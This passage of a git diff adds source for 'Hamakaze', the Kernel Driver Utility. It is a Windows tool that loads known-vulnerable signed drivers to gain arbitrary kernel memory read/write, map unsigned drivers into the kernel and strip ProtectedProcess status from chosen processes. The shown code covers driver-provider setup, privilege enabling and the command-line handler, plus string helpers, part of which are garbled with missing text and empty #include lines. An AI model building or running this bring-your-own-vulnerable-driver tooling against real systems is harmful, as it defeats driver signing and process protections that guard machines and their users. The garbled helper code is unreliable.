+ +/* +* KDUProviderCreate +* +* Purpose: +* +* Create Provider to work with it. +* +*/ +PKDU_CONTEXT WINAPI KDUProviderCreate( + _In_ ULONG ProviderId, + _In_ ULONG HvciEnabled, + _In_ ULONG NtBuildNumber, + _In_ HINSTANCE ModuleBase, + _In_ KDU_ACTION_TYPE ActionType +) +{ + if (ProviderId >= KDU_PROVIDERS_MAX) + ProviderId = KDU_PROVIDER_DEFAULT; + + KDU_PROVIDER* prov = &g_KDUProviders[ProviderId]; + + // + // Show provider info. + // + printf_s("[>] Entering %s\r\n", __FUNCTION__); + printf_s("[+] Selected KDU Provider: Desciption %ws, Name \"%ws\"\r\n", + prov->Desciption, + prov->DriverName); + + // + // Check HVCI support. + // + if (HvciEnabled && prov->HvciSupport == 0) { + printf_s("[!] Abort: selected provider does not support HVCI\r\n"); + return NULL; + } + + // + // Check current Windows NT build number. + // + if (prov->MaxNtBuildNumberSupport != KDU_MAX_NTBUILDNUMBER) { + if (NtBuildNumber >= prov->MaxNtBuildNumberSupport) { + printf_s("[!] Abort: selected provider does not support this Windows NT build\r\n"); + return NULL; + } + } + + // + // Verify key provider functionality. + // + switch (ActionType) { + + case ActionTypeDKOM: + case ActionTypeMapDriver: + + // + // Check if we can read/write. + // + if ((PVOID)prov->Callbacks.ReadKernelVM == (PVOID)KDUProviderStub || + (PVOID)prov->Callbacks.WriteKernelVM == (PVOID)KDUProviderStub) + { + printf_s("[!] Abort: selected provider does not support arbitrary kernel read/write or\r\n"\ + "KDU interface is not implemented for these methods\r\n"); + + return NULL; + } + break; + + default: + break; + } + + NTSTATUS ntStatus; + + ntStatus = supEnablePrivilege(SE_DEBUG_PRIVILEGE, TRUE); + if (!NT_SUCCESS(ntStatus)) { + printf_s("[!] Abort: SeDebugPrivilege not assigned! NTSTATUS (0x%lX)\r\n", ntStatus); + return NULL; + } + + ntStatus = supEnablePrivilege(SE_LOAD_DRIVER_PRIVILEGE, TRUE); + if (!NT_SUCCESS(ntStatus)) { + printf_s("[!] Abort: SeLoadDriverPrivilege not assigned! NTSTATUS (0x%lX)\r\n", ntStatus); + return NULL; + } + + // + // Allocate KDU_CONTEXT structure and fill it with data. + // + KDU_CONTEXT* Context = (KDU_CONTEXT*)supHeapAlloc(sizeof(KDU_CONTEXT)); + if (Context == NULL) + return NULL; + + Context->Provider = &g_KDUProviders[ProviderId]; + Context->ModuleBase = ModuleBase; + Context->NtOsBase = supGetNtOsBase(); + + PUNICODE_STRING CurrentDirectory = &NtCurrentPeb()->ProcessParameters->CurrentDirectory.DosPath; + SIZE_T length = 64 + + (_strlen(Context->Provider->DriverName) * sizeof(WCHAR)) + + CurrentDirectory->Length; + + Context->NtBuildNumber = NtBuildNumber; + Context->DriverFileName = (LPWSTR)supHeapAlloc(length); + Context->MaximumUserModeAddress = supQueryMaximumUserModeAddress(); + + if (Context->DriverFileName == NULL) { + supHeapFree(Context); + Context = NULL; + } + else { + + length = CurrentDirectory->Length / sizeof(WCHAR); + + _strncpy(Context->DriverFileName, + length, + CurrentDirectory->Buffer, + length); + + _strcat(Context->DriverFileName, TEXT("\\")); + _strcat(Context->DriverFileName, Context->Provider->DriverName); + _strcat(Context->DriverFileName, TEXT(".sys")); + + HANDLE deviceHandle = KDUProvStartVulnerableDriver(Context->Provider->ResourceId, + Context->ModuleBase, + Context->Provider->DriverName, + Context->Provider->DeviceName, + Context->DriverFileName); + + if (deviceHandle) { + Context->DeviceHandle = deviceHandle; + + // + // Register (unlock, send love letter, whatever this provider want first) driver. + // + if ((PVOID)Context->Provider->Callbacks.RegisterDriver != (PVOID)KDUProviderStub) { + + if (!Context->Provider->Callbacks.RegisterDriver(deviceHandle)) + printf_s("[!] Coult not register driver, GetLastError %lu\r\n", GetLastError()); + } + + } + else { + supHeapFree(Context->DriverFileName); + supHeapFree(Context); + Context = NULL; + } + + } + + printf_s("[<] Leaving %s\r\n", __FUNCTION__); + + return Context; +} + +/* +* KDUProviderRelease +* +* Purpose: +* +* Reelease Provider context, free resources and unload driver. +* +*/ +VOID WINAPI KDUProviderRelease( + _In_ KDU_CONTEXT * Context) +{ + if (Context) { + + // + // Unregister driver if supported. + // + if ((PVOID)Context->Provider->Callbacks.UnregisterDriver != (PVOID)KDUProviderStub) { + Context->Provider->Callbacks.UnregisterDriver(Context->DeviceHandle); + } + + if (Context->DeviceHandle) + NtClose(Context->DeviceHandle); + + // + // Unload driver. + // + KDUProvStopVulnerableDriver(Context->Provider->DriverName, + Context->DriverFileName); + + if (Context->DriverFileName) + supHeapFree(Context->DriverFileName); + } +} diff --git a/Source/Hamakaze/kduprov.h b/Source/Hamakaze/kduprov.h new file mode 100644 index 0000000..bca57ab --- /dev/null +++ b/Source/Hamakaze/kduprov.h @@ -0,0 +1,171 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2014 - 2020 gruf0x +* +* TITLE: KDUPROV.H +* +* VERSION: 1.00 +* +* DATE: 24 Jan 2020 +* +* Provider support routines. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#pragma once + +#define KDU_PROVIDERS_MAX 2 + +#define KDU_PROVIDER_INTEL 0 +#define KDU_PROVIDER_RTCORE 1 + +#define KDU_PROVIDER_DEFAULT KDU_PROVIDER_INTEL + +#define KDU_MAX_NTBUILDNUMBER 0xFFFFFFFF + +// +// Providers abstraction interface. +// + +// +// Prototype for read kernel virtual memory function. +// +typedef BOOL(WINAPI* provReadKernelVM)( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR Address, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); + +// +// Prototype for write kernel virtual memory function. +// +typedef BOOL(WINAPI* provWriteKernelVM)( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR Address, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); + +// +// Prototype for virtual to physical address translation function. +// +typedef BOOL(WINAPI* provVirtualToPhysical)( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_ ULONG_PTR* PhysicalAddress); + +// +// Prototype for read physical memory function. +// +typedef BOOL(WINAPI* provReadPhysicalMemory)( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _In_ PVOID Buffer, + _In_ ULONG BufferLength); + +// +// Prototype for write physical memory function. +// +typedef BOOL(WINAPI* provWritePhysicalMemory)( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); + +// +// Prototype for read CR registers function. +// +typedef BOOL(WINAPI* provReadControlRegister)( + _In_ HANDLE DeviceHandle, + _In_ UCHAR ControlRegister, + _Out_ ULONG_PTR* Value); + +// +// Prototype for driver registering/unlocking function. +// +typedef BOOL(WINAPI* provRegisterDriver)( + _In_ HANDLE DeviceHandle); + +// +// Prototype for driver unregistering function. +// +typedef BOOL(WINAPI* provUnregisterDriver)( + _In_ HANDLE DeviceHandle); + +typedef enum _KDU_ACTION_TYPE { + ActionTypeMapDriver = 0, + ActionTypeDKOM = 1, + ActionTypeUnspecified = 2, + ActionTypeMax +} KDU_ACTION_TYPE; + +typedef struct _KDU_PROVIDER { + ULONG MaxNtBuildNumberSupport; + ULONG ResourceId; + ULONG HvciSupport; + LPWSTR Desciption; + LPWSTR DriverName; //only file name, e.g. PROCEXP152 + LPWSTR DeviceName; //device name, e.g. PROCEXP152 + struct { + provReadKernelVM ReadKernelVM; + provWriteKernelVM WriteKernelVM; + provVirtualToPhysical VirtualToPhysical; //optional + provReadControlRegister ReadControlRegister; //optional + provReadPhysicalMemory ReadPhysicalMemory; //optional + provWritePhysicalMemory WritePhysicalMemory; //optional + provRegisterDriver RegisterDriver; //optional + provUnregisterDriver UnregisterDriver; //optional + } Callbacks; +} KDU_PROVIDER, * PKDU_PROVIDER; + +typedef struct _KDU_CONTEXT { + ULONG HvciEnabled; + ULONG NtBuildNumber; + HINSTANCE ModuleBase; + ULONG_PTR NtOsBase; + HANDLE DeviceHandle; + PWSTR DriverFileName; //full file name to the vulnerable driver + ULONG_PTR MaximumUserModeAddress; + PKDU_PROVIDER Provider; +} KDU_CONTEXT, * PKDU_CONTEXT; + +VOID KDUProvList(); + +BOOL WINAPI KDUProviderStub( + VOID); + +BOOL WINAPI KDUVirtualToPhysical( + _In_ KDU_CONTEXT* Context, + _In_ ULONG_PTR VirtualAddress, + _Out_ ULONG_PTR* PhysicalAddress); + +_Success_(return != FALSE) +BOOL WINAPI KDUReadKernelVM( + _In_ KDU_CONTEXT * Context, + _In_ ULONG_PTR Address, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); + +_Success_(return != FALSE) +BOOL WINAPI KDUWriteKernelVM( + _In_ KDU_CONTEXT * Context, + _In_ ULONG_PTR Address, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); + +BOOL WINAPI KDUProviderStub( + VOID); + +PKDU_CONTEXT WINAPI KDUProviderCreate( + _In_ ULONG ProviderId, + _In_ ULONG HvciEnabled, + _In_ ULONG NtBuildNumber, + _In_ HINSTANCE ModuleBase, + _In_ KDU_ACTION_TYPE ActionType); + +VOID WINAPI KDUProviderRelease( + _In_ KDU_CONTEXT * Context); diff --git a/Source/Hamakaze/main.cpp b/Source/Hamakaze/main.cpp new file mode 100644 index 0000000..59ce826 --- /dev/null +++ b/Source/Hamakaze/main.cpp @@ -0,0 +1,272 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2020 +* +* TITLE: MAIN.CPP +* +* VERSION: 1.00 +* +* DATE: 24 Jan 2020 +* +* Hamakaze main logic and entrypoint. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#include "global.h" + +KDU_CONTEXT* g_ProvContext; + +#pragma data_seg("iris") +volatile LONG g_lApplicationInstances = 0; +#pragma data_seg() +#pragma comment(linker, "/Section:iris,RWS") + +#define T_KDUUNSUP "[!] Unsupported WinNT version" +#define T_KDURUN "[!] Another instance running, close it before" + +#define CMD_PRV L"-prv" +#define CMD_MAP L"-map" +#define CMD_PS L"-ps" +#define CMD_LIST L"-list" +#define CMD_COMPRESS L"-compress" + +#define T_KDUUSAGE "[?] No parameters specified, see Usage for help\r\n[?] Usage: kdu Mode [Provider][Command]\r\n\n"\ + "Parameters: \r\n"\ + "kdu -prv id - optional parameter, provider id, default 0\r\n"\ + "kdu -ps pid - disable ProtectedProcess for given pid\r\n"\ + "kdu -map filename - map driver to the kernel and execute it entry point\r\n"\ + "kdu -list - list available providers\r\n" + +#define T_KDUINTRO "[+] Kernel Driver Utility v1.0.0 started, (c) 2020 KDU Project\r\n[+] Supported x64 OS: Windows 7 and above" +#define T_PRNTDEFAULT "%s\r\n" + +/* +* KDUProcessCommandLine +* +* Purpose: +* +* Parse command line and do stuff. +* +*/ +INT KDUProcessCommandLine( + _In_ ULONG HvciEnabled, + _In_ ULONG NtBuildNumber +) +{ + INT retVal = -1; + ULONG providerId = KDU_PROVIDER_DEFAULT; + WCHAR szParameter[MAX_PATH + 1]; + + HINSTANCE hInstance = GetModuleHandle(NULL); + + printf_s("[>] Entering %s\r\n", __FUNCTION__); + + RtlSecureZeroMemory(szParameter, sizeof(szParameter)); + + do { + + // + // List providers. + // + if (supGetCommandLineOption(CMD_LIST, + FALSE, + NULL, + 0)) + { + KDUProvList(); + retVal = 0; + break; + } + + if (supGetCommandLineOption(CMD_COMPRESS, + TRUE, + szParameter, + sizeof(szParameter) / sizeof(WCHAR))) + { + KDUCompressResource(szParameter); + retVal = 0; + break; + } + + // + // Select CVE provider. + // + if (supGetCommandLineOption(CMD_PRV, + TRUE, + szParameter, + sizeof(szParameter) / sizeof(WCHAR))) + { + providerId = strtoul(szParameter); + if (providerId >= KDU_PROVIDERS_MAX) + providerId = KDU_PROVIDER_DEFAULT; + } + + // + // Check if -map specified. + // + if (supGetCommandLineOption(CMD_MAP, + TRUE, + szParameter, + sizeof(szParameter) / sizeof(WCHAR))) + { + //map driver + if (RtlDoesFileExists_U(szParameter)) { + + g_ProvContext = KDUProviderCreate(providerId, + HvciEnabled, + NtBuildNumber, + hInstance, + ActionTypeMapDriver); + + if (g_ProvContext) { + retVal = KDUMapDriver(g_ProvContext, szParameter); + KDUProviderRelease(g_ProvContext); + } + } + else { + printf_s("[!] Input file not found\r\n"); + } + } + + else + + // + // Check if -ps specified. + // + if (supGetCommandLineOption(CMD_PS, + TRUE, + szParameter, + sizeof(szParameter) / sizeof(WCHAR))) + { + g_ProvContext = KDUProviderCreate(providerId, + HvciEnabled, + NtBuildNumber, + hInstance, + ActionTypeDKOM); + + if (g_ProvContext) { + + if (KDUControlProcess(g_ProvContext, strtou64(szParameter))) + retVal = 0; + + KDUProviderRelease(g_ProvContext); + } + } + + else { + // + // Nothing set, show help. + // + printf_s(T_PRNTDEFAULT, T_KDUUSAGE); + } + + } while (FALSE); + + printf_s("[<] Leaving %s\r\n", __FUNCTION__); + return retVal; +} + +/* +* KDUMain +* +* Purpose: +* +* KDU main. +* +*/ + +int KDUMain() +{ + LONG x = 0; + INT iResult = -1; + OSVERSIONINFO osv; + + printf_s("[>] Entering %s\r\n", __FUNCTION__); + + do { + + x = InterlockedIncrement((PLONG)&g_lApplicationInstances); + if (x > 1) { + printf_s(T_PRNTDEFAULT, T_KDURUN); + break; + } + + RtlSecureZeroMemory(&osv, sizeof(osv)); + osv.dwOSVersionInfoSize = sizeof(osv); + RtlGetVersion((PRTL_OSVERSIONINFOW)&osv); + if (osv.dwMajorVersion < 6) { + printf_s(T_PRNTDEFAULT, T_KDUUNSUP); + break; + } + + CHAR szVersion[100]; + + StringCchPrintfA(szVersion, 100, + "[*] Windows version: %u.%u build %u", + osv.dwMajorVersion, + osv.dwMinorVersion, + osv.dwBuildNumber); + + printf_s(T_PRNTDEFAULT, szVersion); + + BOOLEAN secureBoot; + + if (supQuerySecureBootState(&secureBoot)) { + printf_s("[*] SecureBoot is %s on this machine\r\n", secureBoot ? "enabled" : "disabled"); + } + + BOOLEAN hvciEnabled; + BOOLEAN hvciStrict; + BOOLEAN hvciIUM; + + // + // Providers maybe *not* HVCI compatible. + // + if (supQueryHVCIState(&hvciEnabled, &hvciStrict, &hvciIUM)) { + + if (hvciEnabled) { + printf_s("[*] Windows HVCI mode detected\r\n"); + } + + } + + iResult = KDUProcessCommandLine(hvciEnabled, osv.dwBuildNumber); + + } while (FALSE); + + InterlockedDecrement((PLONG)&g_lApplicationInstances); + + printf_s("[<] Leaving %s\r\n", __FUNCTION__); + + return iResult; +} + +/* +* main +* +* Purpose: +* +* Program entry point. +* +*/ +int main() +{ + HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, 0); + + printf_s(T_PRNTDEFAULT, T_KDUINTRO); + + int retVal = 0; + + __try { + retVal = KDUMain(); + } + __except (EXCEPTION_EXECUTE_HANDLER) { + printf_s("[!] Unhandled exception 0x%lx\r\n", GetExceptionCode()); + } + return retVal; +} diff --git a/Source/Hamakaze/minirtl/_filename.c b/Source/Hamakaze/minirtl/_filename.c new file mode 100644 index 0000000..da9bbdc --- /dev/null +++ b/Source/Hamakaze/minirtl/_filename.c @@ -0,0 +1,186 @@ +#include +#include "minirtl.h" + +char *_filename_a(const char *f) +{ + char *p = (char *)f; + + if (f == 0) + return 0; + + while (*f != (char)0) { + if (*f == '\\') + p = (char *)f + 1; + f++; + } + return p; +} + +wchar_t *_filename_w(const wchar_t *f) +{ + wchar_t *p = (wchar_t *)f; + + if (f == 0) + return 0; + + while (*f != (wchar_t)0) { + if (*f == (wchar_t)'\\') + p = (wchar_t *)f + 1; + f++; + } + return p; +} + +char *_fileext_a(const char *f) +{ + char *p = 0; + + if (f == 0) + return 0; + + while (*f != (char)0) { + if (*f == '.') + p = (char *)f; + f++; + } + + if (p == 0) + p = (char *)f; + + return p; +} + +wchar_t *_fileext_w(const wchar_t *f) +{ + wchar_t *p = 0; + + if (f == 0) + return 0; + + while (*f != (wchar_t)0) { + if (*f == (wchar_t)'.') + p = (wchar_t *)f; + f++; + } + + if (p == 0) + p = (wchar_t *)f; + + return p; +} + +char *_filename_noext_a(char *dest, const char *f) +{ + char *p, *l, *dot; + + if ((f == 0) || (dest == 0)) + return 0; + + p = _filename_a(f); + if (p == 0) + return 0; + + dot = _strend_a(p); + if (dot == 0) + return 0; + + l = p; + + while (*l != (char)0) + { + if (*l == '.') + dot = l; + l++; + } + + while (p0) && (ccsrc>0) ) { + *p = *src; + p++; + src++; + ccdest--; + ccsrc--; + } + + *p = 0; + return dest; +} + +wchar_t *_strncpy_w(wchar_t *dest, size_t ccdest, const wchar_t *src, size_t ccsrc) +{ + wchar_t *p; + + if ( (dest==0) || (src==0) || (ccdest==0) ) + return dest; + + ccdest--; + p = dest; + + while ( (*src!=0) && (ccdest>0) && (ccsrc>0) ) { + *p = *src; + p++; + src++; + ccdest--; + ccsrc--; + } + + *p = 0; + return dest; +} diff --git a/Source/Hamakaze/minirtl/cmdline.c b/Source/Hamakaze/minirtl/cmdline.c new file mode 100644 index 0000000..1a3aecb --- /dev/null +++ b/Source/Hamakaze/minirtl/cmdline.c @@ -0,0 +1,180 @@ +#include + +BOOL GetCommandLineParamW( + IN LPCWSTR CmdLine, + IN ULONG ParamIndex, + OUT LPWSTR Buffer, + IN ULONG BufferSize, + OUT PULONG ParamLen + ) +{ + ULONG c, plen = 0; + TCHAR divider; + + if (ParamLen != NULL) + *ParamLen = 0; + + if (CmdLine == NULL) { + if ((Buffer != NULL) && (BufferSize > 0)) + *Buffer = 0; + return FALSE; + } + + for (c = 0; c <= ParamIndex; c++) { + plen = 0; + + while (*CmdLine == ' ') + CmdLine++; + + switch (*CmdLine) { + case 0: + goto zero_term_exit; + + case '"': + CmdLine++; + divider = '"'; + break; + + default: + divider = ' '; + } + + while ((*CmdLine != '"') && (*CmdLine != divider) && (*CmdLine != 0)) { + plen++; + if (c == ParamIndex) + if ((plen < BufferSize) && (Buffer != NULL)) { + *Buffer = *CmdLine; + Buffer++; + } + CmdLine++; + } + + if (*CmdLine != 0) + CmdLine++; + } + +zero_term_exit: + + if ((Buffer != NULL) && (BufferSize > 0)) + *Buffer = 0; + + if (ParamLen != NULL) + *ParamLen = plen; + + if (plen < BufferSize) + return TRUE; + else + return FALSE; +} + +BOOL GetCommandLineParamA( + IN LPCSTR CmdLine, + IN ULONG ParamIndex, + OUT LPSTR Buffer, + IN ULONG BufferSize, + OUT PULONG ParamLen + ) +{ + ULONG c, plen = 0; + TCHAR divider; + + if (CmdLine == NULL) + return FALSE; + + if (ParamLen != NULL) + *ParamLen = 0; + + for (c = 0; c <= ParamIndex; c++) { + plen = 0; + + while (*CmdLine == ' ') + CmdLine++; + + switch (*CmdLine) { + case 0: + goto zero_term_exit; + + case '"': + CmdLine++; + divider = '"'; + break; + + default: + divider = ' '; + } + + while ((*CmdLine != '"') && (*CmdLine != divider) && (*CmdLine != 0)) { + plen++; + if (c == ParamIndex) + if ((plen < BufferSize) && (Buffer != NULL)) { + *Buffer = *CmdLine; + Buffer++; + } + CmdLine++; + } + + if (*CmdLine != 0) + CmdLine++; + } + +zero_term_exit: + + if ((Buffer != NULL) && (BufferSize > 0)) + *Buffer = 0; + + if (ParamLen != NULL) + *ParamLen = plen; + + if (plen < BufferSize) + return TRUE; + else + return FALSE; +} + +char *ExtractFilePathA(const char *FileName, char *FilePath) +{ + char *p = (char *)FileName, *p0 = (char *)FileName; + + if ((FileName == 0) || (FilePath == 0)) + return 0; + + while (*FileName != 0) { + if (*FileName == '\\') + p = (char *)FileName + 1; + FileName++; + } + + while (p0 < p) { + *FilePath = *p0; + FilePath++; + p0++; + } + + *FilePath = 0; + + return FilePath; +} + +wchar_t *ExtractFilePathW(const wchar_t *FileName, wchar_t *FilePath) +{ + wchar_t *p = (wchar_t *)FileName, *p0 = (wchar_t *)FileName; + + if ((FileName == 0) || (FilePath == 0)) + return 0; + + while (*FileName != 0) { + if (*FileName == '\\') + p = (wchar_t *)FileName + 1; + FileName++; + } + + while (p0 < p) { + *FilePath = *p0; + FilePath++; + p0++; + } + + *FilePath = 0; + + return FilePath; +} diff --git a/Source/Hamakaze/minirtl/cmdline.h b/Source/Hamakaze/minirtl/cmdline.h new file mode 100644 index 0000000..310a4a5 --- /dev/null +++ b/Source/Hamakaze/minirtl/cmdline.h @@ -0,0 +1,35 @@ +#ifndef _CMDLINEH_ +#define _CMDLINEH_ + +BOOL GetCommandLineParamW( + IN LPCWSTR CmdLine, + IN ULONG ParamIndex, + OUT LPWSTR Buffer, + IN ULONG BufferSize, + OUT PULONG ParamLen + ); + +BOOL GetCommandLineParamA( + IN LPCSTR CmdLine, + IN ULONG ParamIndex, + OUT LPSTR Buffer, + IN ULONG BufferSize, + OUT PULONG ParamLen + ); + +char *ExtractFilePathA(const char *FileName, char *FilePath); +wchar_t *ExtractFilePathW(const wchar_t *FileName, wchar_t *FilePath); + +#ifdef UNICODE + +#define ExtractFilePath ExtractFilePathW +#define GetCommandLineParam GetCommandLineParamW + +#else // ANSI + +#define ExtractFilePath ExtractFilePathA +#define GetCommandLineParam GetCommandLineParamA + +#endif + +#endif /* _CMDLINEH_ */ diff --git a/Source/Hamakaze/minirtl/minirtl.h b/Source/Hamakaze/minirtl/minirtl.h new file mode 100644 index 0000000..daba691 --- /dev/null +++ b/Source/Hamakaze/minirtl/minirtl.h @@ -0,0 +1,159 @@ +/* +Module name: + minirtl.h + +Description: + header for string handling and conversion routines + +Date: + 1 Mar 2015 +*/ + +#ifndef _MINIRTL_ +#define _MINIRTL_ + +// string copy/concat/length + +char *_strend_a(const char *s); +wchar_t *_strend_w(const wchar_t *s); + +char *_strcpy_a(char *dest, const char *src); +wchar_t *_strcpy_w(wchar_t *dest, const wchar_t *src); + +char *_strcat_a(char *dest, const char *src); +wchar_t *_strcat_w(wchar_t *dest, const wchar_t *src); + +char *_strncpy_a(char *dest, size_t ccdest, const char *src, size_t ccsrc); +wchar_t *_strncpy_w(wchar_t *dest, size_t ccdest, const wchar_t *src, size_t ccsrc); + +char *_strcpyn_a(char* dest, const char* src, size_t n); +wchar_t *_strcpyn_w(wchar_t* dest, const wchar_t* src, size_t n); + +size_t _strlen_a(const char *s); +size_t _strlen_w(const wchar_t *s); + +// comparing + +int _strcmp_a(const char *s1, const char *s2); +int _strcmp_w(const wchar_t *s1, const wchar_t *s2); + +int _strncmp_a(const char *s1, const char *s2, size_t cchars); +int _strncmp_w(const wchar_t *s1, const wchar_t *s2, size_t cchars); + +int _strcmpi_a(const char *s1, const char *s2); +int _strcmpi_w(const wchar_t *s1, const wchar_t *s2); + +int _strncmpi_a(const char *s1, const char *s2, size_t cchars); +int _strncmpi_w(const wchar_t *s1, const wchar_t *s2, size_t cchars); + +char *_strstr_a(const char *s, const char *sub_s); +wchar_t *_strstr_w(const wchar_t *s, const wchar_t *sub_s); + +char *_strstri_a(const char *s, const char *sub_s); +wchar_t *_strstri_w(const wchar_t *s, const wchar_t *sub_s); + +// conversion of integer types to string, returning string length + +size_t ultostr_a(unsigned long x, char *s); +size_t ultostr_w(unsigned long x, wchar_t *s); + +size_t ultohex_a(unsigned long x, char *s); +size_t ultohex_w(unsigned long x, wchar_t *s); + +size_t itostr_a(int x, char *s); +size_t itostr_w(int x, wchar_t *s); + +size_t i64tostr_a(signed long long x, char *s); +size_t i64tostr_w(signed long long x, wchar_t *s); + +size_t u64tostr_a(unsigned long long x, char *s); +size_t u64tostr_w(unsigned long long x, wchar_t *s); + +size_t u64tohex_a(unsigned long long x, char *s); +size_t u64tohex_w(unsigned long long x, wchar_t *s); + +// string to integers conversion + +unsigned long strtoul_a(char *s); +unsigned long strtoul_w(wchar_t *s); + +unsigned long long strtou64_a(char *s); +unsigned long long strtou64_w(wchar_t *s); + +unsigned long hextoul_a(char *s); +unsigned long hextoul_w(wchar_t *s); + +int strtoi_a(char *s); +int strtoi_w(wchar_t *s); + +signed long long strtoi64_a(char *s); +signed long long strtoi64_w(wchar_t *s); + +unsigned long long hextou64_a(char *s); +unsigned long long hextou64_w(wchar_t *s); + +/* =================================== */ + +#ifdef UNICODE + +#define _strend _strend_w +#define _strcpy _strcpy_w +#define _strcat _strcat_w +#define _strlen _strlen_w +#define _strncpy _strncpy_w +#define _strcpyn _strcpyn_w + +#define _strcmp _strcmp_w +#define _strncmp _strncmp_w +#define _strcmpi _strcmpi_w +#define _strncmpi _strncmpi_w +#define _strstr _strstr_w +#define _strstri _strstri_w + +#define ultostr ultostr_w +#define ultohex ultohex_w +#define itostr itostr_w +#define i64tostr i64tostr_w +#define u64tostr u64tostr_w +#define u64tohex u64tohex_w + +#define strtoul strtoul_w +#define hextoul hextoul_w +#define strtoi strtoi_w +#define strtoi64 strtoi64_w +#define strtou64 strtou64_w +#define hextou64 hextou64_w + +#else // ANSI + +#define _strend _strend_a +#define _strcpy _strcpy_a +#define _strcat _strcat_a +#define _strlen _strlen_a +#define _strncpy _strncpy_a +#define _strcpyn _strcpyn_a + +#define _strcmp _strcmp_a +#define _strncmp _strncmp_a +#define _strcmpi _strcmpi_a +#define _strncmpi _strncmpi_a +#define _strstr _strstr_a +#define _strstri _strstri_a + +#define ultostr ultostr_a +#define ultohex ultohex_a +#define itostr itostr_a +#define i64tostr i64tostr_a +#define u64tostr u64tostr_a +#define u64tohex u64tohex_a + +#define strtoul strtoul_a +#define hextoul hextoul_a +#define strtoi strtoi_a +#define strtoi64 strtoi64_a +#define strtou64 strtou64_a +#define hextou64 hextou64_a + +#endif + +#endif /* _MINIRTL_ */ diff --git a/Source/Hamakaze/minirtl/rtltypes.h b/Source/Hamakaze/minirtl/rtltypes.h new file mode 100644 index 0000000..fbb8b2d --- /dev/null +++ b/Source/Hamakaze/minirtl/rtltypes.h @@ -0,0 +1,43 @@ +#ifndef _WCHAR_T_DEFINED +typedef unsigned short wchar_t; +#define _WCHAR_T_DEFINED +#endif /* _WCHAR_T_DEFINED */ + +#ifndef _SIZE_T_DEFINED +#ifdef _WIN64 +typedef unsigned __int64 size_t; +#else /* _WIN64 */ +typedef __w64 unsigned int size_t; +#endif /* _WIN64 */ +#define _SIZE_T_DEFINED +#endif /* _SIZE_T_DEFINED */ + +__forceinline char locase_a(char c) +{ + if ((c >= 'A') && (c <= 'Z')) + return c + 0x20; + else + return c; +} + +__forceinline wchar_t locase_w(wchar_t c) +{ + if ((c >= 'A') && (c <= 'Z')) + return c + 0x20; + else + return c; +} + +__forceinline char byteabs(char x) { + if (x < 0) + return -x; + return x; +} + +__forceinline int _isdigit_a(char x) { + return ((x >= '0') && (x <= '9')); +} + +__forceinline int _isdigit_w(wchar_t x) { + return ((x >= L'0') && (x <= L'9')); +} diff --git a/Source/Hamakaze/minirtl/strtou64.c b/Source/Hamakaze/minirtl/strtou64.c new file mode 100644 index 0000000..fad5eb3 --- /dev/null +++ b/Source/Hamakaze/minirtl/strtou64.c @@ -0,0 +1,39 @@ +#include "rtltypes.h" + +unsigned long long strtou64_a(char *s) +{ + unsigned long long a = 0; + char c; + + if (s == 0) + return 0; + + while (*s != 0) { + c = *s; + if (_isdigit_w(c)) + a = (a*10)+((unsigned long long)c-'0'); + else + break; + s++; + } + return a; +} + +unsigned long long strtou64_w(wchar_t *s) +{ + unsigned long long a = 0; + wchar_t c; + + if (s == 0) + return 0; + + while (*s != 0) { + c = *s; + if (_isdigit_w(c)) + a = (a*10)+((unsigned long long)c-L'0'); + else + break; + s++; + } + return a; +} diff --git a/Source/Hamakaze/minirtl/strtoul.c b/Source/Hamakaze/minirtl/strtoul.c new file mode 100644 index 0000000..3250d74 --- /dev/null +++ b/Source/Hamakaze/minirtl/strtoul.c @@ -0,0 +1,49 @@ +#include "rtltypes.h" + +#define ULONG_MAX_VALUE 0xffffffffUL + +unsigned long strtoul_a(char *s) +{ + unsigned long long a = 0; + char c; + + if (s == 0) + return 0; + + while (*s != 0) { + c = *s; + if (_isdigit_a(c)) + a = (a*10)+(c-'0'); + else + break; + + if (a > ULONG_MAX_VALUE) + return ULONG_MAX_VALUE; + + s++; + } + return (unsigned long)a; +} + +unsigned long strtoul_w(wchar_t *s) +{ + unsigned long long a = 0; + wchar_t c; + + if (s == 0) + return 0; + + while (*s != 0) { + c = *s; + if (_isdigit_w(c)) + a = (a * 10) + (c - L'0'); + else + break; + + if (a > ULONG_MAX_VALUE) + return ULONG_MAX_VALUE; + + s++; + } + return (unsigned long)a; +} diff --git a/Source/Hamakaze/minirtl/u64tohex.c b/Source/Hamakaze/minirtl/u64tohex.c new file mode 100644 index 0000000..1e7af7f --- /dev/null +++ b/Source/Hamakaze/minirtl/u64tohex.c @@ -0,0 +1,49 @@ +#include "rtltypes.h" + +size_t u64tohex_a(unsigned long long x, char *s) +{ + char p; + size_t c; + + if (s==0) + return 16; + + for (c=0; c<16; c++) { + p = (char)(x & 0xf); + x >>= 4; + + if (p<10) + p += '0'; + else + p = 'A' + (p-10); + + s[15-c] = p; + } + + s[16] = 0; + return 16; +} + +size_t u64tohex_w(unsigned long long x, wchar_t *s) +{ + wchar_t p; + size_t c; + 